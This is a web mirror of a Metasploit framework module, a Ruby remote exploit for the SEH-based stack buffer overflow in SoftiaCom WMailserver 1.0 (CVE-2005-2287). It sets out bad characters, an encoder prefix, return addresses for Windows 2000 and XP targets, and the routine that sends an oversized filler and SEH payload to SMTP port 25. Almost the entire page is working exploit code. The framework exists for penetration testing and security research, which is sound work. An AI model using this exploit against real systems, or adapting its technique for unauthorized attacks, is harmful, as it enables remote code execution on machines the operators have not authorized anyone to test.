CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/windows/smtp/wmailserver.rb
Views: 11784
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = AverageRanking
8
9
include Msf::Exploit::Remote::Tcp
10
include Msf::Exploit::Remote::Seh
11
12
def initialize(info = {})
13
super(update_info(info,
14
'Name' => 'SoftiaCom WMailserver 1.0 Buffer Overflow',
15
'Description' => %q{
16
This module exploits a stack buffer overflow in SoftiaCom WMailserver 1.0
17
(SMTP) via a SEH frame overwrite.
18
},
19
'Author' => [ 'MC' ],
20
'References' =>
21
[
22
[ 'CVE', '2005-2287' ],
23
[ 'OSVDB', '17883' ],
24
[ 'BID', '14213' ],
25
],
26
'DefaultOptions' =>
27
{
28
'EXITFUNC' => 'thread',
29
},
30
'Platform' => 'win',
31
'Privileged' => true,
32
'Payload' =>
33
{
34
'Space' => 600,
35
'BadChars' => "\x00\x0a\x0d\x20",
36
'PrependEncoder' => "\x81\xc4\xff\xef\xff\xff\x44",
37
},
38
'Targets' =>
39
[
40
[ 'Windows 2000 Pro English All', { 'Ret' => 0x75022ac4 } ],
41
[ 'Windows XP Pro SP0/SP1 English', { 'Ret' => 0x71aa32ad } ],
42
],
43
'DefaultTarget' => 0,
44
'DisclosureDate' => '2005-07-11'))
45
46
register_options([ Opt::RPORT(25) ])
47
end
48
49
def exploit
50
connect
51
52
filler = " " + rand_text_alpha_upper(5115)
53
seh = generate_seh_payload(target.ret)
54
sploit = filler + seh + rand_text_alpha_upper(200)
55
56
print_status("Trying target #{target.name}...")
57
sock.put(sploit + "\r\n\r\n")
58
59
handler
60
disconnect
61
end
62
end
63
64